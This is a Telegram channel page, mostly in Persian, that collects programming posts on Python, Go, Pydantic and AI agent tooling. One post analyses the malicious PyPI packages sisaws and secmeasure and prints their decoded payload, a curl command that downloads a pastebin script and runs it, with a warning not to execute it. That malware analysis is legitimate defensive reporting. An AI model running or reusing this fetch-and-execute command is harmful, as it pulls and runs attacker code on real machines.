Dev Perfects
40 subscribers
9.23K photos
1.26K videos
468 files
13K links
بخوام خیلی خلاصه بگم
این کانال میاد مطالب کانالای خفن تو حوزه تکنولوژی و برنامه نویسی رو جمع میکنه

پست پین رو بخونید
https://t.iss.one/dev_perfects/455


ارتباط:
https://t.iss.one/HidenChat_Bot?start=936082426
Download Telegram
🎉 نسخه جدید MicroPython منتشر شد!

🧠 ‏MicroPython چیه؟
یه نسخه سبک از زبان پایتونه که برای اجرا روی سخت‌افزارهای کوچیک طراحی شده؛ مثل بردهای ESP32 یا Raspberry Pi Pico.


یعنی چی؟ یعنی باهاش می‌تونی وسایل واقعی رو با پایتون کنترل کنی! مثلاً:
💡 روشن و خاموش کردن LED
🌡 خوندن دمای محیط
📶 اتصال به وای‌فای
🕹 ساخت گجت‌های هوشمند

🔥در نسخه جدیدش (v1.25):
سرعت بهتر
سیستم فایل فقط‌خواندنی برای اجرای سریع‌تر
پشتیبانی از WebAssembly (اجرای MicroPython توی مرورگر!)
و کلی قابلیت دیگه برای آینده اینترنت اشیاء...

📌 اگه به پایتون، سخت‌افزار، IoT یا ساخت ابزارهای باحال علاقه‌داری، MicroPython یه دنیای هیجان‌انگیز برات باز می‌کنه.

🌐 سایت رسمی
🔖 گیت‌هاب نسخه جدید
@MehrdadLinuxchannel
#python
https://youtu.be/ZzgdvaAZKek

خب راستش من خودم هم به اندازه کافی و وافی نوب هستم ولی چیزی که همیشه برای من نتیجه داده این بوده که چیزایی که یاد گرفتم رو وقتی به بقیه یاد دادم بهتر یاد گرفتم
این هم یکی از اون چیزاییه که میخوام که خیلی خوب یادش بگیرم پس تمام تلاشم رو میکنم که این دوره رو تا آخرش پیش ببرم
امیدوارم که براتون سودمند باشه

https://youtu.be/ZzgdvaAZKek

لایک و کامنت یادتون نره
و حتما لینک رو بفرستید برای کسی که فکر میکنید اون هم به دردش میخوره این ویدیو

نکته ی مهم : حتما حتما اگر اشکالی دیدید بهم بگید، خوشحال میشم که بتونم مشکلاتم رو رفع کنم

https://youtu.be/ZzgdvaAZKek


#جنگو_بدون_درد_و_خونریزی

@PhiloLearn
Forwarded from Ninja Learn | نینجا لرن (Denver)
خب خب خب، مدیریت تنظیمات با Pydantic⚙️
احتمالا اسم Pydantic به گوشتون خورده یا توی پروژه هاتون ازش استفاده کردین. ولی برای مدیریت تنظیمات پروژه از چی استفاده کردین؟ Pydantic یه کلاس به اسم BaseSettings ارائه میده که برای مدیریت تنظیمات برنامه از جمله متغیر های محیطی و پیش فرض ها استفاده میشه.

چرا از BaseSettings استفاده کنیم؟
🧐
1️⃣ خواندن خودکار متغیر های محیطی:
با استفاده از BaseSettigns بدون نیاز به کتابخونه های اضافی مثل python-dotenv میتونیم به متغیر های محیطی دسترسی داشته باشیم.

2️⃣ اعتبارسنجی امن و خودکار متغیر ها:
‏Pydantic به صورت خودکار تایپ هارو چک میکنه و دیگه نیازی به type cast دستی نیست.

3️⃣ پشتیبانی ساده از چند محیط:
با یکم خلاقیت می‌تونیم چندین کلاس تنظیمات برای محیط‌های مختلف مثل Dev, Prod و Test بسازیم.

4️⃣ مناسب برای پروژه‌های بزرگ:
میشه همه‌ی تنظیمات پروژه مثل دیتابیس، کلیدهای API، حالت دیباگ و... رو توی یک کلاس متمرکز نگهداری کرد و راحت تو کل پروژه استفاده‌شون کرد.

ساختار پایه ی کلاس تنظیمات
🔧
قبل از هر کاری مطمئن بشید که pydantic و پکیج pydantic-settings نصب باشن:
pip install pydantic pydantic-settings

و بعد میتونید با تعریف کلاس و تنظیماتی که نیاز دارین اونارو مدیریت کنین.
from pydantic import Field
from pydantic_settings import BaseSettings, SettingsConfigDict

class Settings(BaseSettings):
model_config = SettingsConfigDict(
env_file='.env', # env file location
)
debug: bool = True
database_url: str
secret_key: str

این یعنی:
مقدار debug به طور پیش فرض True هست و بقیه مقادیر باید توی فایل env. یا محیط سیستم تعریف بشن، در غیر این صورت ارور میگیریم. نکته جالب اینه که Pydantic از type cast خودکار پشتیبانی میکنه، مثلا اینجا مقدار "True" توی محیط رو به bool تبدیل میکنه.
و فایل env. باید به این شکل باشه:
DATABASE_URL=postgresql://user:pass@localhost/dbname
SECRET_KEY=s3cr3t-k3y


نحوه ی استفاده از تنظیمات
🛠
میتونیم یه نمونه از کلاس تنظیمات بسازیم و بعد با استفاده از اتریبیوت ها به تنظیمات دسترسی پیدا کنیم:
settings = Settings()
print(settings.database_url)
print(settings.debug)


جمع بندی
✍️
کلاس BaseSettings یکی از ابزارهای بسیار مهم و کاربردی در Pydantic هست که به شما اجازه می‌ده تنظیمات پروژه رو به شکل متمرکز، امن، قابل تست و قابل توسعه مدیریت کنین.
توی پروژه‌های بزرگ یا اپلیکیشن‌هایی که چند محیط (مثل dev، test و prod) دارن، استفاده از این ساختار کمک می‌کنه کد تمیزتر و حرفه‌ای‌تری داشته باشین.

#️⃣ #programming #python


🥷🏻 CHANNEL | GROUP
Forwarded from Programming Notes
✺ OpenSource Spotlight: «torrra»

A Python tool that lets you find and download torrents without leaving your CLI.

github.com/stabldev/torrra

@remvze // #opensource #python #torrent
Forwarded from Syntax | سینتکس (Sovren)
فایل آپلود شده رو فقط با پسوندش چک می‌کنی؟ بیخیال!

تاحالا شده کاربر فایلی رو آپلود کنه و شما فقط پسوندش ( jpg یا pdf) رو چک کنید و با خوشحالی بگید کار تمومه؟ اگه اینطوره، باید بگم که یه جای کار حسابی می‌لنگه!

کاربر به راحتی می‌تونه یک فایل مخرب (مثلاً یه اسکریپت) رو به virus.png تغییر نام بده و سیستم شما رو دور بزنه.

راه حل چیه؟ کتابخونه python-magic

این پکیج یک رابط (Wrapper) برای کتابخونه قدرتمند libmagic در زبان C هست. کار اصلیش اینه که بیخیال اسم و پسوند فایل بشه و بره سراغ اصل مطلب محتوای خود فایل.

مجیک چند بایت اول یک فایل (که بهش هدر یا Magic Numbers می‌گن) رو می‌خونه و از روی اون امضای دیجیتالی، نوع واقعی فایل رو تشخیص می‌ده.

مثال:
import magic
from django.core.files.uploadedfile import InMemoryUploadedFile

def get_mime_type_from_content(file: InMemoryUploadedFile) -> str:
"""Reads the initial bytes of a file to determine its actual MIME type."""
try:
initial_bytes = file.read(2048)
file.seek(0)
return magic.from_buffer(initial_bytes, mime=True)
except Exception as err:
raise Exception(f"Failed to detect MIME type: {err}")

def check_file_is_image(file: InMemoryUploadedFile) -> bool:
"""Check if the uploaded file is an image based on its MIME type."""
try:
mime_type = get_mime_type_from_content(file)
return mime_type.startswith("image/")
except Exception as err:
print(f"[ERROR] check_file_is_image: {err}")
return False


#libmagic #python_magic

@Syntax_fa
#python

ابزار PySnooper — ابزار پایتونی برای trace کردن اجرای کد: هر خط اجراشده و تغییر متغیرهای محلی رو لاگ می‌کنه؛ مثل گذاشتنِ print روی هر خط ولی خودکار و قوی‌تر. خروجی به stderr یا فایل می‌ره و می‌تونی متغیر/عباراتی رو watch کنی.

https://github.com/cool-RR/PySnooper

@DevTwitter | <Nimo/>
Forwarded from Gopher Academy
🔵 عنوان مقاله
the top 'programming languages' in 2025

🟢 خلاصه مقاله:
فهرست برترین زبان‌های برنامه‌نویسی در 2025 نشان می‌دهد کجا واقعاً نرم‌افزار ساخته و نگه‌داری می‌شود؛ معیارهایی مثل میزان استفاده، تقاضای شغلی، بلوغ اکوسیستم، عملکرد و ابزارها در نظر گرفته شده است. زبان‌های جاافتاده مثل Python، JavaScript/TypeScript، Java و C# همچنان ستون‌های اصلی‌اند؛ C/C++ برای کارهای کم‌تأخیر و سیستم‌ها و SQL برای داده ضروری‌اند، و رشد Rust بر اهمیت ایمنی و کارایی تاکید دارد؛ Kotlin و Swift نیز در موبایل قدرتمند مانده‌اند. در این میان، Go در رتبه ۱۰ قرار گرفته چون سادگی، کامپایل سریع، هم‌روندی با goroutine و channel و باینری‌های مستقل را با پذیرش گسترده در فضای cloud‑native ترکیب می‌کند؛ پروژه‌هایی مثل Docker و Kubernetes نقش آن را در زیرساخت نشان می‌دهند. جمع‌بندی: 2025 ترکیبی از ثبات و نوآوری است و انتخاب زبان باید بر اساس مسئله، مهارت تیم و نگه‌داشت بلندمدت باشد—اغلب در چارچوبی چندزبانه و عمل‌گرایانه.

#ProgrammingLanguages #GoLang #Trends2025 #SoftwareEngineering #CloudNative #Developers #Rust #Python

🟣لینک مقاله:
https://golangweekly.com/link/174641/web


👑 @gopher_academy
تا حالا کلی مطالب خفن و کاربردی تو کانال NinjaLearn براتون آماده کردیم و الان صدها مطلب مختلف و جذاب داریم.

از اونجایی که مطالب کانال خیلی متنوع و زیاد شده، تصمیم گرفتیم یه دسته‌بندی مرتب و منظم برای همه‌ی پست‌ها داشته باشیم تا شما عزیزان راحت‌تر بتونید محتوای مورد نظرتون رو پیدا کنید

این شما و این لیست دسته‌بندی‌های کانال🔻:

🦫 #go: آموزش‌ها و نکات کاربردی زبان گو

💻 #programming: مطالب برنامه نویسی

🐍 #python: ترفندها و نکات پایتونی

🦄 #django: مطالب فریم‌ورک جنگو

⚡️ #fastapi: مطالب فریم ورک فست

🌐 #web: مطالب مرتبط به وب

📡 #network: مطالب مرتبط به شبکه

🗂️ #db: معرفی و نکات دیتابیس

🔖 #reference: معرفی مقاله و ویدیو

📢 #notif: اطلاع رسانی ها

#question: سوالات جالب در برنامه نویسی

🎊 #event: رویداد هایی که معرفی کردیم

🎬 #movie: معرفی فیلم و سریال

📚 #book: معرفی کتاب‌های تخصصی

🤖 #AI: مطالب مرتبط به هوش مصنوعی

📊 #ml: مطالب مرتبط به یادگیری ماشین

🛠️ #backend: آموزش‌ها و ترفندهای بک‌اند

🔒 #security: نکات امنیتی

#devops: مطالب مرتبط به دواپس

📺 #YouTube: ویدیوهای چنل یوتیوب ما

🌏 #geo: تکنولوژی های جغرافیایی


هر کدوم از این هشتگ‌ها برای یه موضوع خاص طراحی شده تا شما به راحتی بتونید محتوای مورد نظرتون رو پیدا کنید. دیگه لازم نیست کلی تو کانال بگردید 😊

اگه موضوع جدیدی به مطالب کانال اضافه بشه، حتماً تو این لیست قرار می‌گیره


راستی میتونید بنر کانال رو برای دوستاتون هم بفرستید تا اونا هم به جمع ما بپیوندن و از این مطالب مفید استفاده کنن 😉

NinjaLearn Banner 🥷🤝


#category



🔆 CHANNEL | GROUP
پایتون ۳.۱۴ هم بلاخره اومد. ولی چه چیز های جدیدی داره؟؟ لینک


#Python #پایتون #Python314 #کدنویسی #برنامه‌نویسی


@PhiloLearn
Forwarded from Gopher Academy
🔵 عنوان مقاله
Constraining LLMs with Structured Output in Python and Go

🟢 خلاصه مقاله:
**این مجموعه به روش‌های عملی برای واداشتن LLMها به تولید خروجی ساخت‌یافته می‌پردازد تا ادغام در سیستم‌های تولیدی قابل اعتماد، قابل اعتبارسنجی و قابل آزمون باشد. در Python با تعریف شِماهای سازگار با JSON و اتصال خروجی مدل به انواع مشخص، و در Go با استفاده از structهای نوع‌دار، struct tagها، و خطاهای صریح، خطر خروجی متنی آزاد و شکننده کاهش می‌یابد.

همچنین یک ویدئو از Rost Glukhov ساخت یک عامل کدنویس در Go را از ابتدا نشان می‌دهد؛ از طراحی پرامپت و برنامه‌ریزی تا اجرای ابزار و حلقه بازخورد. در بخش کارهای زمان‌بندی انبوه، مقاله Bill Kennedy توضیح می‌دهد چگونه Timing Wheels بدون پیمایش O(n) می‌توانند میلیون‌ها کلید را منقضی کنند—الگویی مفید برای زمان‌بندی‌کننده‌ها، کش‌ها و محدودکننده‌های نرخ در Go. برای درک عمیق‌تر همروندی، نوشتار Ankur Anand رفتار و انتخاب‌های درست پیرامون primitives بسته sync مانند Mutex، RWMutex، WaitGroup و Cond را تشریح می‌کند. در پایان، مطلبی از Matheus Mina این مجموعه را کامل می‌کند. حاصل کار، جعبه‌ابزاری عملی برای ساخت عامل‌ها و سرویس‌های پربازده در Python و Go است.

#Go #Python #LLM #StructuredOutput #TimingWheels #Concurrency #Golang #Agents

🟣لینک مقاله:
https://golangweekly.com/link/175364/web


👑 @gopher_academy
Forwarded from Code Verse
دوتا کتابخونه sisaws و secmeasure که هکر‌ها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI

یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد

If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.

curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py

نکته:‌به هیچ‌وجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.

کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.

#python #malware #code_analysis

🌌 @the_code_Verse 🪐
Forwarded from Gopher Academy
🔵 عنوان مقاله
Google's Agent Development Kit (ADK) for Go

🟢 خلاصه مقاله:
** گوگل نسخه Go از Agent Development Kit (ADK) را عرضه کرده است؛ کیتی که پیش‌تر برای Python و Java در دسترس بود و برای ساخت و استقرار عامل‌های هوش مصنوعی به‌کار می‌رود. ADK با حذف بخش بزرگی از کدنویسی تکراری در ارکستراسیون و ترکیب گردش‌کار عامل‌ها، توسعه را ساده می‌کند. این چارچوب هم از نظر مدل (model-agnostic) و هم از نظر استقرار (deployment-agnostic) مستقل است، بنابراین می‌توان آن را با LLMهای مختلف و در محیط‌های ابری، داخلی یا لبه اجرا کرد. همچنین با فریم‌ورک‌های دیگر سازگار است و امکان پذیرش تدریجی در کنار پشته‌های موجود را می‌دهد. برای تیم‌های Go، این پشتیبانی یک مسیر سازگار و منعطف برای ساخت عامل‌ها فراهم می‌کند، بدون قفل‌شدن به مدل یا زیرساخت خاص.

#Google #ADK #Go #AI #Agents #Python #Java #DeveloperTools

🟣لینک مقاله:
https://golangweekly.com/link/176899/web


👑 @gopher_academy